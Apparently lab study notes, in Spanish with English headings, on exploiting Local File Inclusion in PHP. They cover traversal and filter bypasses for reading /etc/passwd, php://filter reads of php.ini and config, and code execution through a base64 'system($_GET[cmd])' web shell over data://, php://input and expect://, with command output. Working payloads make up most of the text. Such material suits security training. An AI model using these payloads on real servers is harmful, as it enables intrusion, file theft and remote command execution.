Local File Inclusion
http://<SERVER_IP>:<PORT>/index.php?language=/etc/passwdPath Traversal
include($_GET['language']);include("./languages/" . $_GET['language']);Filename Prefix
include("lang_" . $_GET['language']);Appended Extensions
include($_GET['language'] . ".php");Basic Bypasses
$language = str_replace('../', '', $_GET['language']);Non-Recursive Path Traversal Filters
Uno de los filtros más básicos contra LFI es un filtro de búsqueda y reemplazo, en el que simplemente se eliminan las subcadenas de (../) para evitar los recorridos.
$language = str_replace('../', '', $_GET['language']);http://<SERVER_IP>:<PORT>/index.php?language=....//....//....//....//etc/passwdEncoding
Si la aplicación web de destino no permite y / en nuestra entrada, podemos codificar la URL ../ en %2e%2e%2f, lo que puede eludir el filtro. Para ello, podemos utilizar cualquier utilidad de codificación de URL en línea o utilizar la herramienta Burp Suite Decoder, como se indica a continuación:
<SERVER_IP>:<PORT>/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64Approved Paths
if(preg_match('/^\.\/languages\/.+$/', $_GET['language'])) {
include($_GET['language']);
} else {
echo 'Illegal path specified!';
}<SERVER_IP>:<PORT>/index.php?language=./languages/../../../../etc/passwdAppended Extension
Path Truncation
?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times]Null Bytes
Para explotar esta vulnerabilidad, podemos terminar nuestro payload con un byte nulo (por ejemplo, /etc/passwd%00), de forma que la ruta final pasada a include() sería (/etc/passwd%00.php). De esta forma, aunque .php se añade a nuestra cadena, cualquier cosa después del byte nulo se truncaría, y así la ruta utilizada sería realmente /etc/passwd, lo que nos llevaría a evitar la extensión añadida.
PHP Filters
Input Filters
php://
php://filter/Hay cuatro tipos diferentes de filtros disponibles para su uso: filtros de cadenas , filtros de conversión , filtros de compresión y filtros de cifrado . Puede leer más sobre cada filtro en su enlace respectivo, pero el filtro que es útil para los ataques LFI es el convert.base64-encodefiltro que se encuentra en Conversion Filters.
Fuzzing for PHP Files
ffuf -w /opt/useful/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://<SERVER_IP>:<PORT>/FUZZ.php
...SNIP...
index [Status: 200, Size: 2652, Words: 690, Lines: 64]
config [Status: 302, Size: 0, Words: 1, Lines: 1]PHP Wrappers
Checking PHP Configurations
curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"
<!DOCTYPE html>
<html lang="en">
...SNIP...
<h2>Containers</h2>
W1BIUF0KCjs7Ozs7Ozs7O
...SNIP...
4KO2ZmaS5wcmVsb2FkPQo=
<p class="read-more">echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include
allow_url_include = OnRemote Code Execution
echo '<?php system($_GET["cmd"]); ?>' | base64
PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==Ahora, podemos codificar la cadena base64 en la URL y luego pasarla al contenedor de datos con data://text/plain;base64,. Por último, podemos usar comandos de paso al shell web con &cmd=<COMMAND>:
http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=idcurl -s 'http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id' | grep uid
uid=33(www-data) gid=33(www-data) groups=33(www-data)Input
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id" | grep uid
uid=33(www-data) gid=33(www-data) groups=33(www-data)Expect
$ echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep expect
extension=expectcurl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)Base64
php://filter/read=convert.base64-encode/resource=configphp://filter/convert.base64-encode/resource=config1. php://filter/read=convert.base64-encode/resource=config
- Significado:
- Aplica el filtro
convert.base64-encodeal leer (read) el recurso especificado (resource=config).
- Aplica el filtro
- Uso:
- Lee el archivo llamado
configy lo devuelve codificado en Base64.
- Lee el archivo llamado
- Explicación técnica:
- El filtro
read=convert.base64-encodetransforma los datos leídos desde el archivoconfigen su equivalente codificado en Base64.
- El filtro
2. php://filter/convert.base64-encode/resource=config
- Significado:
- Se refiere directamente al filtro
convert.base64-encodeaplicado al recursoconfig.
- Se refiere directamente al filtro
- Uso:
- Intenta aplicar el filtro de codificación en Base64 sin especificar explícitamente una operación (
read,write, etc.).
- Intenta aplicar el filtro de codificación en Base64 sin especificar explícitamente una operación (
- Limitación:
- Esta forma no siempre es válida, ya que el filtro debe aplicarse a una acción específica como
readowrite. En muchos casos, este formato puede no funcionar correctamente.
- Esta forma no siempre es válida, ya que el filtro debe aplicarse a una acción específica como
http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=config[!bash!]$ echo 'PD9waHAK...SNIP...KICB9Ciov' | base64 -d
...SNIP...
if ($_SERVER['REQUEST_METHOD'] == 'GET' && realpath(__FILE__) == realpath($_SERVER['SCRIPT_FILENAME'])) {
header('HTTP/1.0 403 Forbidden', TRUE, 403);
die(header('location: /index.php'));
}
...SNIP...Rot13
php://filter/read=string.rot13/resource=<archivo>zip://
zip://<archivo zip>%23<archivo php>data://
data:text/plain,<código PHP>